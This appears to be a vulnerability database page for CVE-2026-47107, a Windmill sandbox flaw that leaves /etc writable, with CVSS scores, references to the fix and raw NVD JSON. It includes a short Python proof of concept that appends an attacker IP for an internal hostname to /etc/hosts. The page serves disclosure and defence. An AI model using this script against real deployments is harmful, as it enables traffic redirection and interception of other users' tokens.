CVE-2026-47107

Description

Windmill prior to 1.703.2 contains an incorrect default permissions vulnerability in nsjail sandbox configuration files where /etc is bind-mounted without read-write restrictions, allowing authenticated users to write arbitrary entries to /etc/hosts, /etc/resolv.conf, and /etc/ssl/certs/ca-certificates.crt from within script execution sandboxes. Attackers can exploit persistent poisoned entries across all subsequent script executions on the same worker pod to redirect hostnames, intercept DNS queries, perform transparent HTTPS man-in-the-middle attacks, and intercept WM_TOKEN JWTs to gain workspace-admin access to other users' workspaces.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Windmill < 1.703.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
import os

def exploit():
    # Attacker controlled IP and domain
    malicious_ip = "192.168.1.100"
    target_domain = "internal.api.service"
    
    # Path to hosts file inside the sandbox (mapped to host /etc/hosts)
    hosts_path = "/etc/hosts"
    
    try:
        # Append malicious entry to /etc/hosts
        with open(hosts_path, "a") as f:
            f.write(f"{malicious_ip} {target_domain}\n")
        print(f"[+] Successfully poisoned {hosts_path}")
        print(f"[+] {target_domain} now points to {malicious_ip}")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-47107
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-47107
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-47107/
[4] VulDB https://vuldb.com/cve/CVE-2026-47107
[5] https://github.com/windmill-labs/windmill/commit/f8467f38c8a053117ce62f96684cfb15ef792f08
[6] https://github.com/windmill-labs/windmill/pull/9194
[7] https://github.com/windmill-labs/windmill/releases/tag/v1.703.2
[8] https://www.vulncheck.com/advisories/windmill-incorrect-default-permissions-in-nsjail-configuration
[9] https://github.com/windmill-labs/windmill/pull/9194

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-47107", "sourceIdentifier": "[email protected]", "published": "2026-05-19T18:16:22.167", "lastModified": "2026-05-20T13:16:38.933", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Windmill prior to 1.703.2 contains an incorrect default permissions vulnerability in nsjail sandbox configuration files where /etc is bind-mounted without read-write restrictions, allowing authenticated users to write arbitrary entries to /etc/hosts, /etc/resolv.conf, and /etc/ssl/certs/ca-certificates.crt from within script execution sandboxes. Attackers can exploit persistent poisoned entries across all subsequent script executions on the same worker pod to redirect hostnames, intercept DNS queries, perform transparent HTTPS man-in-the-middle attacks, and intercept WM_TOKEN JWTs to gain workspace-admin access to other users' workspaces."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://github.com/windmill-labs/windmill/commit/f8467f38c8a053117ce62f96684cfb15ef792f08", "source": "[email protected]"}, {"url": "https://github.com/windmill-labs/windmill/pull/9194", "source": "[email protected]"}, {"url": "https://github.com/windmill-labs/windmill/releases/tag/v1.703.2", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/windmill-incorrect-default-permissions-in-nsjail-configuration", "source": "[email protected]"}, {"url": "https://github.com/windmill-labs/windmill/pull/9194", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}